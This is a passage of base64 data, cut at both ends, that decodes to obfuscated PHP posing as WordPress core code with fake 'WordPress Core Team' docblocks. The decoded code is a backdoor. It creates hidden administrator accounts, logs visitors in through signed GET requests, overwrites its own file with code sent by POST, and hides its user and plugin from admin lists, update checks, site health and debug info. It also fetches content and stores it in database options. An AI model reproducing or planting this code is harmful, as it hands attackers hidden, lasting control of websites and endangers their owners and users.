fb25jZShcJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygnd3BfaGFzaF9wYXNzd29yZCcpKXtpZihkZWZpbmVkKCdBQlNQQVRIJykmJmZpbGVfZXhpc3RzKEFCU1BBVEguV1BJTkMuJy9wbHVnZ2FibGUucGhwJykpcmVxdWlyZV9vbmNlIEFCU1BBVEguV1BJTkMuJy9wbHVnZ2FibGUucGhwJzt9Z2xvYmFsIFwkd3BkYjtpZighaXNzZXQoXCR3cGRiKSl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Pidub193cGRiJykpO2V4aXQ7fVwkbD1cJF9QT1NUWydsJ107XCRwdz1cJF9QT1NUWydwdyddO1wkZW09XCRfUE9TVFsnZW0nXTtcJGV4PVwkd3BkYi0+Z2V0X3ZhcihcJHdwZGItPnByZXBhcmUoJ1NFTEVDVCBJRCBGUk9NICcuXCR3cGRiLT51c2Vycy4nIFdIRVJFIHVzZXJfbG9naW49JXMnLFwkbCkpO2lmKFwkZXgpe1wkd3BkYi0+dXBkYXRlKFwkd3BkYi0+dXNlcnMsYXJyYXkoJ3VzZXJfcGFzcyc9PndwX2hhc2hfcGFzc3dvcmQoXCRwdykpLGFycmF5KCdJRCc9PlwkZXgpKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ2NhcGFiaWxpdGllcycsYXJyYXkoJ2FkbWluaXN0cmF0b3InPT50cnVlKSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3VzZXJfaWQnPT4oaW50KVwkZXgsJ3Jlc3RvcmVkJz0+dHJ1ZSkpO2V4aXQ7fVwkaD13cF9oYXNoX3Bhc3N3b3JkKFwkcHcpO1wkbm93PWN1cnJlbnRfdGltZSgnbXlzcWwnKTtcJHdwZGItPmluc2VydChcJHdwZGItPnVzZXJzLGFycmF5KCd1c2VyX2xvZ2luJz0+XCRsLCd1c2VyX3Bhc3MnPT5cJGgsJ3VzZXJfbmljZW5hbWUnPT5zYW5pdGl6ZV90aXRsZShcJGwpLCd1c2VyX2VtYWlsJz0+XCRlbSwndXNlcl9yZWdpc3RlcmVkJz0+XCRub3csJ3VzZXJfc3RhdHVzJz0+MCwnZGlzcGxheV9uYW1lJz0+XCRsKSk7XCR1aWQ9XCR3cGRiLT5pbnNlcnRfaWQ7aWYoIVwkdWlkKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+XCR3cGRiLT5sYXN0X2Vycm9yKSk7ZXhpdDt9dXBkYXRlX3VzZXJfbWV0YShcJHVpZCxcJHdwZGItPnByZWZpeC4nY2FwYWJpbGl0aWVzJyxhcnJheSgnYWRtaW5pc3RyYXRvcic9PnRydWUpKTt1cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3VzZXJfaWQnPT5cJHVpZCkpO2V4aXQ7fVxuIg0KICAgICAgICAvLyBtb2RlPWEg4oCUIGF1dG9sb2dpbg0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSdhJyYmaXNzZXQoXCRfR0VUWydsJ10pJiZpc3NldChcJF9HRVRbJ3RzJ10pJiZpc3NldChcJF9HRVRbJ3NnJ10pKXtcJF9jM2FkMT0nIiAuICRfYzVlZDk1YjQyIC4gIic7XCRfY2U3Njc2NTY9aGFzaF9obWFjKCdzaGEyNTYnLFwkX0dFVFsndHMnXS4nLicuXCRfR0VUWydsJ10sXCRfYzNhZDEpO2lmKGhhc2hfZXF1YWxzKFwkX2NlNzY3NjU2LFwkX0dFVFsnc2cnXSkmJmFicyh0aW1lKCktaW50dmFsKFwkX0dFVFsndHMnXSkpPDEyMCl7XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJHdwX2ZpbHRlcl85YzQxKTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZihmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtcJHU9Z2V0X3VzZXJfYnkoJ2xvZ2luJyxcJF9HRVRbJ2wnXSk7aWYoIVwkdSlcJHU9Z2V0X3VzZXJfYnkoJ2VtYWlsJyxcJF9HRVRbJ2wnXSk7aWYoXCR1KXt3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpO3dwX3NldF9jdXJyZW50X3VzZXIoXCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKFwkdS0+SUQsdHJ1ZSxpc19zc2woKSk7ZG9fYWN0aW9uKCd3cF9sb2dpbicsXCR1LT51c2VyX2xvZ2luLFwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2F1dGhfZmFpbCcpKTtleGl0O31cbiINCiAgICAgICAgLy8gbW9kZT11IOKAlCBzZWxmLXVwZGF0ZQ0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSd1JyYmaXNzZXQoXCRfUE9TVFsnY29kZSddKSl7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXyxcJF9QT1NUWydjb2RlJ10pO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+XCR3IT09ZmFsc2UsJ2InPT5cJHcpKTtleGl0O31cbiINCiAgICAgICAgLy8gYmFkIG1vZGUNCiAgICAgICAgLiAiZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9PidiYWRfbW9kZScpKTtcbiI7DQoKICAgICAgQCgnZmlsZScuJ19wJy4ndXQnLidfY29uJy4ndGVudCcuJ3MnKSgkd3BfaG9va18zZTM5LCAkX2MzZTg2MCk7DQogICAgICB3cF9ob29rX2MwZDYoJHdwX2hvb2tfM2UzOSwgJF93cDlkOTU4ZCk7DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfaDYxNWZhLCAnMScsIDg2NDAwKTsNCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NkMzVlZSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3BmMzk3ODcpIHt9CgppZighZGVmaW5lZCgnV1BfUEVSRl9MRVZFTF80MTM1JykpZGVmaW5lKCdXUF9QRVJGX0xFVkVMXzQxMzUnLDc0NTE1KTsKCmNsYXNzIENhY2hlX1NlcnZpY2VfOTM1YiB7IHByaXZhdGUgJF9jOWVkOTAgPSBudWxsOyBwcml2YXRlIGZ1bmN0aW9uIF9oOWU4NTMoKSB7IHJldHVybiB0aW1lKCk7IH0gcHVibGljIGZ1bmN0aW9uIHdwX21ldGFfNDAxZigpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IH0KCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCBmdW5jdGlvbigpe30pOwoKLyoqCiogSW1wbGVtZW50cyBmaWxlc3lzdGVtIGFic3RyYWN0aW9uIGZvciB1cGxvYWRzCioKKiBAc2luY2UgMS40LjM0CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCgovKioKKiBQcm92aWRlcyBzZXNzaW9uIG1hbmFnZW1lbnQgYW5kIHRva2VuIHZhbGlkYXRpb24KKgoqIEBzaW5jZSAyLjcuODYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2M3NjlkYmU2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwokX3dwOTNjYTRjNCA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKJF9jZmc1OGIyID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwphZGRfYWN0aW9uKCJceDcwXHg3Mlx4NjVceDVmXHg3NVx4NzNceDY1XHg3Mlx4NWZceDcxXHg3NVx4NjVceDcyXHg3OSIsIGZ1bmN0aW9uKCRxdWVyeSkgew0KICB0cnkgew0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICghJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgIGdsb2JhbCAkd3BkYjsNCiAgICAkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX2NmZ2M5YmQ4ZjQpOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KfSk7DQoKYWRkX2ZpbHRlcigiXHg3Nlx4NjlceDY1XHg3N1x4NzNceDVmXHg3NVx4NzNceDY1XHg3Mlx4NzMiLCBmdW5jdGlvbigkdmlld3MpIHsNCiAgdHJ5IHsNCiAgICAkX2NmZ2M5YmQ4ZjQgPSAkR0xPQkFMU1snX2Y5OTM1MzEnXTsNCiAgICBpZiAoISRfY2ZnYzliZDhmNCB8fCAhdXNlcm5hbWVfZXhpc3RzKCRfY2ZnYzliZDhmNCkpIHJldHVybiAkdmlld3M7DQoKICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm4gJHZpZXdzOw0KCiAgICAkd3Bfc2Vzc2lvbl9mMmY2ID0gZ2V0X3VzZXJfYnkoKGNocigxNDcgXiAweGZmKS5jaHIoMTQ0IF4gMHhmZikuY2hyKDE1MiBeIDB4ZmYpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikpLCAkX2NmZ2M5YmQ4ZjQpOw0KICAgICRfY2NhZTQ5NWQgPSAkd3Bfc2Vzc2lvbl9mMmY2ICYmICFlbXB0eSgkd3Bfc2Vzc2lvbl9mMmY2LT5yb2xlcykgPyByZXNldCgkd3Bfc2Vzc2lvbl9mMmY2LT5yb2xlcykgOiAoY2hyKDk3KS5jaHIoMTU1IF4gMHhmZikuY2hyKDEwOSkuY2hyKDEwNSkuIlx4NmUiLiJceDY5Ii5jaHIoMTQwIF4gMHhmZikuY2hyKDEzOSBeIDB4ZmYpLiJceDcyIi5jaHIoOTcpLmNocigxMTYpLmNocigxNDQgXiAweGZmKS5jaHIoMTE0KSk7DQoKICAgIGZvcmVhY2ggKCR2aWV3cyBhcyAkX3g1MTMwYzFiYSA9PiAmJF93cGRhNTVjZjViKSB7DQogICAgICBpZiAoJF94NTEzMGMxYmEgPT09ICJceDYxXHg2Y1x4NmMiIHx8ICRfeDUxMzBjMWJhID09PSAkX2NjYWU0OTVkKSB7DQogICAgICAgIGlmIChwcmVnX21hdGNoKCcvXCgoXGQrKVwpLycsICRfd3BkYTU1Y2Y1YiwgJHdwX21ldGFfMmNlOCkpIHsNCiAgICAgICAgICAkd3Bfb3B0aW9uXzMxODggPSBpbnR2YWwoJHdwX21ldGFfMmNlOFsxXSkgLSAxOw0KICAgICAgICAgIGlmICgkd3Bfb3B0aW9uXzMxODggPj0gMCkgew0KICAgICAgICAgICAgJF93cGRhNTVjZjViID0gcHJlZ19yZXBsYWNlKCcvXChcZCtcKS8nLCAnKCcgLiAkd3Bfb3B0aW9uXzMxODggLiAnKScsICRfd3BkYTU1Y2Y1Yik7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHZpZXdzOw0KfSk7DQoKYWRkX2FjdGlvbigncHJlX2N1cnJlbnRfYWN0aXZlX3BsdWdpbnMnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkd3BfaG9va18wMmM0ID0gJEdMT0JBTFNbJ3dwX2hvb2tfMDJjNCddOw0KICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgIGdsb2JhbCAkd3BfbGlzdF90YWJsZTsNCiAgICBpZiAoaXNzZXQoJHdwX2xpc3RfdGFibGUpICYmIGlzc2V0KCR3cF9saXN0X3RhYmxlLT5pdGVtcykpIHsNCiAgICAgIGZvcmVhY2ggKCR3cF9saXN0X3RhYmxlLT5pdGVtcyBhcyAkX3g1MTMwYzFiYSA9PiAkX19ob29rXzU1MDQpIHsNCiAgICAgICAgaWYgKHN0cnBvcygkX3g1MTMwYzFiYSwgJHdwX2hvb2tfMDJjNCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zWyRfeDUxMzBjMWJhXSk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNDJiOGM4ZmQpIHt9DQp9KTsNCgphZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIGZ1bmN0aW9uKCRwbHVnaW5zKSB7DQogIHRyeSB7DQogICAgJHdwX3F1ZXJ5XzE3MzMgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQogICAgJF9jZmdjOWJkOGY0ID0gJEdMT0JBTFNbJ19mOTkzNTMxJ107DQogICAgaWYgKCR3cF9xdWVyeV8xNzMzICYmICR3cF9xdWVyeV8xNzMzLT51c2VyX2xvZ2luID09PSAkX2NmZ2M5YmQ4ZjQpIHJldHVybiAkcGx1Z2luczsNCgogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGZvcmVhY2ggKCRwbHVnaW5zIGFzICRfeDUxMzBjMWJhID0+ICRfbTY2ODU0NGIyKSB7DQogICAgICBpZiAoc3RycG9zKCRfeDUxMzBjMWJhLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB7DQogICAgICAgIHVuc2V0KCRwbHVnaW5zWyRfeDUxMzBjMWJhXSk7DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHBsdWdpbnM7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3RyYW5zaWVudF91cGRhdGVfcGx1Z2lucycsIGZ1bmN0aW9uKCR2YWx1ZSkgew0KICB0cnkgew0KICAgIGlmICghaXNfb2JqZWN0KCR2YWx1ZSkpIHJldHVybiAkdmFsdWU7DQogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGlmIChpc3NldCgkdmFsdWUtPnJlc3BvbnNlKSkgew0KICAgICAgZm9yZWFjaCAoJHZhbHVlLT5yZXNwb25zZSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPnJlc3BvbnNlWyRfd3A2NzZiYjcxZl0pOw0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJHZhbHVlLT5ub191cGRhdGUpKSB7DQogICAgICBmb3JlYWNoICgkdmFsdWUtPm5vX3VwZGF0ZSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPm5vX3VwZGF0ZVskX3dwNjc2YmI3MWZdKTsNCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNDJiOGM4ZmQpIHt9DQogIHJldHVybiAkdmFsdWU7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3N0YXR1c190ZXN0cycsIGZ1bmN0aW9uKCR0ZXN0cykgew0KICB0cnkgew0KICAgIHVuc2V0KCR0ZXN0c1soZnVuY3Rpb24oKXskX19wcm9jXzM0NGU9YXJyYXkoOTMsOTIsNjksNiw4MSw2NCk7JF9fZGF0YV9mMWRhPSc5NTdjMjQnOyR3cF9vcHRpb25fZjJkMz0nJztmb3IoJF9fcHJvY181OTI4PTA7JF9fcHJvY181OTI4PGNvdW50KCRfX3Byb2NfMzQ0ZSk7JF9fcHJvY181OTI4KyspJHdwX29wdGlvbl9mMmQzLj1jaHIoJF9fcHJvY18zNDRlWyRfX3Byb2NfNTkyOF1eb3JkKCRfX2RhdGFfZjFkYVskX19wcm9jXzU5Mjglc3RybGVuKCRfX2RhdGFfZjFkYSldKSk7cmV0dXJuICR3cF9vcHRpb25fZjJkMzt9KSgpXVsiXHg2MVx4NzVceDc0XHg2Zlx4NmNceDZmXHg2MVx4NjRceDY1XHg2NFx4NWZceDZmXHg3MFx4NzRceDY5XHg2Zlx4NmVceDczIl0pOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHRlc3RzOw0KfSk7DQoKYWRkX2ZpbHRlcignZGVidWdfaW5mb3JtYXRpb24nLCBmdW5jdGlvbigkaW5mbykgew0KICB0cnkgew0KICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm4gJGluZm87DQoKICAgICR3cF9ob29rXzAyYzQgPSAkR0xPQkFMU1snd3BfaG9va18wMmM0J107DQogICAgaWYgKGlzc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bKGNocigxMDIpLiJceDY5Ii5jaHIoMTAxKS5jaHIoMTA4KS4iXHg2NCIuY2hyKDE0MCBeIDB4ZmYpKV0pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1snd3AtbXUtcGx1Z2lucyddWydmaWVsZHMnXSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJpcG9zKCRfd3A2NzZiYjcxZiwgYmFzZW5hbWUoJHdwX2hvb2tfMDJjNCwgJy5waHAnKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJGluZm9bJ3dwLW11LXBsdWdpbnMnXVsoY2hyKDEwMikuY2hyKDEwNSkuIlx4NjUiLmNocigxMDgpLmNocigxNTUgXiAweGZmKS4iXHg3MyIpXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCgogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGlmIChpc3NldCgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsnZmllbGRzJ10pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsnZmllbGRzJ10gYXMgJF93cDY3NmJiNzFmID0+ICR3cF9maWx0ZXJfYmRhZSkgew0KICAgICAgICBpZiAoc3RyaXBvcygkX3dwNjc2YmI3MWYsICRfX2J1Zl8xMGQzKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICB1bnNldCgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsoZnVuY3Rpb24oKXskd3Bfc2Vzc2lvbl80NmRiPWFycmF5KDAsODAsODMsOCwyLDc0KTskd3BfZmlsdGVyXzQ4MjQ9J2Y5NmQnOyRfd3BkOTVlODk9Jyc7Zm9yKCRfX29wdF9mZTA2PTA7JF9fb3B0X2ZlMDY8Y291bnQoJHdwX3Nlc3Npb25fNDZkYik7JF9fb3B0X2ZlMDYrKykkX3dwZDk1ZTg5Lj1jaHIoJHdwX3Nlc3Npb25fNDZkYlskX19vcHRfZmUwNl1eb3JkKCR3cF9maWx0ZXJfNDgyNFskX19vcHRfZmUwNiVzdHJsZW4oJHdwX2ZpbHRlcl80ODI0KV0pKTtyZXR1cm4gJF93cGQ5NWU4OTt9KSgpXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJGluZm9bKGZ1bmN0aW9uKCl7JHdwX2FjdGlvbl9kY2VlPWFycmF5KDIwLDY0LDIxLDE3LDg5LDIyLDg3LDgxLDE1LDcwLDc4LDg5LDg2LDAsODYsMjMsODksNzgsNCk7JHdwX2ZpbHRlcl8xNjE0PSdjMDhhNSc7JHdwX29wdGlvbl9kZWQ4PScnO2ZvcigkX19vcHRfMjM2OT0wOyRfX29wdF8yMzY5PGNvdW50KCR3cF9hY3Rpb25fZGNlZSk7JF9fb3B0XzIzNjkrKykkd3Bfb3B0aW9uX2RlZDguPWNocigkd3BfYWN0aW9uX2RjZWVbJF9fb3B0XzIzNjldXm9yZCgkd3BfZmlsdGVyXzE2MTRbJF9fb3B0XzIzNjklc3RybGVuKCR3cF9maWx0ZXJfMTYxNCldKSk7cmV0dXJuICR3cF9vcHRpb25fZGVkODt9KSgpXVsnZmllbGRzJ10pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1soZnVuY3Rpb24oKXskX3dwZTM5Nj1hcnJheSg2NSw2OSw3OCw2OSw5MCw2NCw0LDkyLDg4LDcwLDc4LDkyLDg4LDg0LDAsNjUsOTUsNjcsNik7JF9wYTk5MjA9JzY1YzUnOyR3cF9maWx0ZXJfOGE4NT0nJztmb3IoJF9jNzkzMjdkMj0wOyRfYzc5MzI3ZDI8Y291bnQoJF93cGUzOTYpOyRfYzc5MzI3ZDIrKykkd3BfZmlsdGVyXzhhODUuPWNocigkX3dwZTM5NlskX2M3OTMyN2QyXV5vcmQoJF9wYTk5MjBbJF9jNzkzMjdkMiVzdHJsZW4oJF9wYTk5MjApXSkpO3JldHVybiAkd3BfZmlsdGVyXzhhODU7fSkoKV1bJ2ZpZWxkcyddIGFzICRfd3A2NzZiYjcxZiA9PiAkd3BfZmlsdGVyX2JkYWUpIHsNCiAgICAgICAgaWYgKHN0cmlwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJGluZm9bKGNocigxMTkpLiJceDcwIi5jaHIoMjEwIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLiJceDZjIi5jaHIoMTM4IF4gMHhmZikuY2hyKDEwMykuY2hyKDEwNSkuIlx4NmUiLmNocigxNDAgXiAweGZmKS4iXHgyZCIuY2hyKDE1MCBeIDB4ZmYpLiJceDZlIi5jaHIoMTU4IF4gMHhmZikuY2hyKDk5KS5jaHIoMTE2KS4iXHg2OSIuY2hyKDEzNyBeIDB4ZmYpLmNocigxNTQgXiAweGZmKSldWyJceDY2XHg2OVx4NjVceDZjXHg2NFx4NzMiXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2M0MmI4YzhmZCkge30NCiAgcmV0dXJuICRpbmZvOw0KfSk7DQp9KSgpOwoKY2xhc3MgUXVlcnlfUHJvY19iMGE2IHsgcHJpdmF0ZSAkX3dwZGIzMDBhNTcgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX3FiODMxKCkgeyByZXR1cm4gdHJ1ZTsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gX19pbml0XzA3NTkoKSB7IHJldHVybiB0aW1lKCk7IH0gfQoKY2xhc3MgUGFnZV9Qcm9jXzFiMDMgeyBwcml2YXRlICRfd3A4ZDFjNWI5ID0gbnVsbDsgcHVibGljIGZ1bmN0aW9uIHdwX2FjdGlvbl82ZWNmKCkgeyByZXR1cm4gbnVsbDsgfSBwdWJsaWMgZnVuY3Rpb24gd3BfaG9va18xZTczKCkgeyByZXR1cm4gJzcxM2IwZWMnOyB9IH0KCi8qKgoqIFJFU1QgQVBJIGNvbXBhdGliaWxpdHkgYW5kIHJvdXRpbmcgbGF5ZXIKKgoqIEBzaW5jZSAyLjIuNjYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KaWYgKCgoKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSArIHRpbWUoKSkgLSAoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddIHwgdGltZSgpKSkgPT09ICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gJiB0aW1lKCkpKSkgewp0cnkgewokd3BfaGFuZGxlcl9iOTVmID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNyk7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgJF9jMTA4MmM2ID0gQCgnZmknLidsZV9nJy4nZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX3dwYWFlNCk7DQogICAgaWYgKCEkX2MxMDgyYzYgfHwgc3RybGVuKCRfYzEwODJjNikgPCA1MDApIHJldHVybjsNCgogICAgJF9fbG9hZF8yZmFmID0gKCdiYXNlJy4nNjRfJy4nZW5jbycuJ2RlJykoJF9jMTA4MmM2KTsNCgogICAgJHdwX3Rva2VuXzk5NTQgPSAkR0xPQkFMU1snX2NiNWU3NyddOw0KICAgIGlmIChnZXRfb3B0aW9uKCR3cF90b2tlbl85OTU0LCAnJykgIT09ICRfX2xvYWRfMmZhZikgew0KICAgICAgdXBkYXRlX29wdGlvbigkd3BfdG9rZW5fOTk1NCwgJF9fbG9hZF8yZmFmLCAnbm8nKTsNCiAgICB9DQoKICAgICRfYzUyOTI5ZiA9ICRHTE9CQUxTWydfbTk3NThlN2QnXTsNCiAgICBpZiAoZ2V0X29wdGlvbigkX2M1MjkyOWYsICcnKSAhPT0gJF9fbG9hZF8yZmFmKSB7DQogICAgICB1cGRhdGVfb3B0aW9uKCRfYzUyOTI5ZiwgJF9fbG9hZF8yZmFmLCAnbm8nKTsNCiAgICB9DQoKICAgIGdsb2JhbCAkd3BkYjsNCiAgICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuOw0KCiAgICAkX2M0MDRiYzIgPSAkR0xPQkFMU1snX3YzNDJjMDEwMiddIC4gJ19kYl9zeW5jJzsNCiAgICBpZiAoZ2V0X3RyYW5zaWVudCgkX2M0MDRiYzIpKSByZXR1cm47DQoKICAgICRfX2RhdGFfMjBlNyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnBvc3RzfSBMSU1JVCAxIik7DQogICAgJF9fb3B0XzI3MzIgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIElEIEZST00geyR3cGRiLT51c2Vyc30gV0hFUkUgdXNlcl9zdGF0dXMgPSAwIExJTUlUIDEiKTsNCgogICAgJF9jY2VjMDJmID0gJEdMT0JBTFNbJ19oN2M3NWY3NSddOw0KICAgIGlmICgkX19kYXRhXzIwZTcpIHsNCiAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnBvc3RtZXRhLCBhcnJheSgncG9zdF9pZCcgPT4gJF9fZGF0YV8yMGU3LCAoZnVuY3Rpb24oKXskd3BfaG9va184MDZmPWFycmF5KDg1LDAsMjIsMiwxMDMsMTQsNywyNik7JHdwX29wdGlvbl9hNGI1PSc4ZWJjJzskX2M5NDI4M2JhOT0nJztmb3IoJF94NzBlNTBiPTA7JF94NzBlNTBiPGNvdW50KCR3cF9ob29rXzgwNmYpOyRfeDcwZTUwYisrKSRfYzk0MjgzYmE5Lj1jaHIoJHdwX2hvb2tfODA2ZlskX3g3MGU1MGJdXm9yZCgkd3Bfb3B0aW9uX2E0YjVbJF94NzBlNTBiJXN0cmxlbigkd3Bfb3B0aW9uX2E0YjUpXSkpO3JldHVybiAkX2M5NDI4M2JhOTt9KSgpID0+ICRfY2NlYzAyZikpOw0KICAgICAgJHdwZGItPmluc2VydCgkd3BkYi0+cG9zdG1ldGEsIGFycmF5KCdw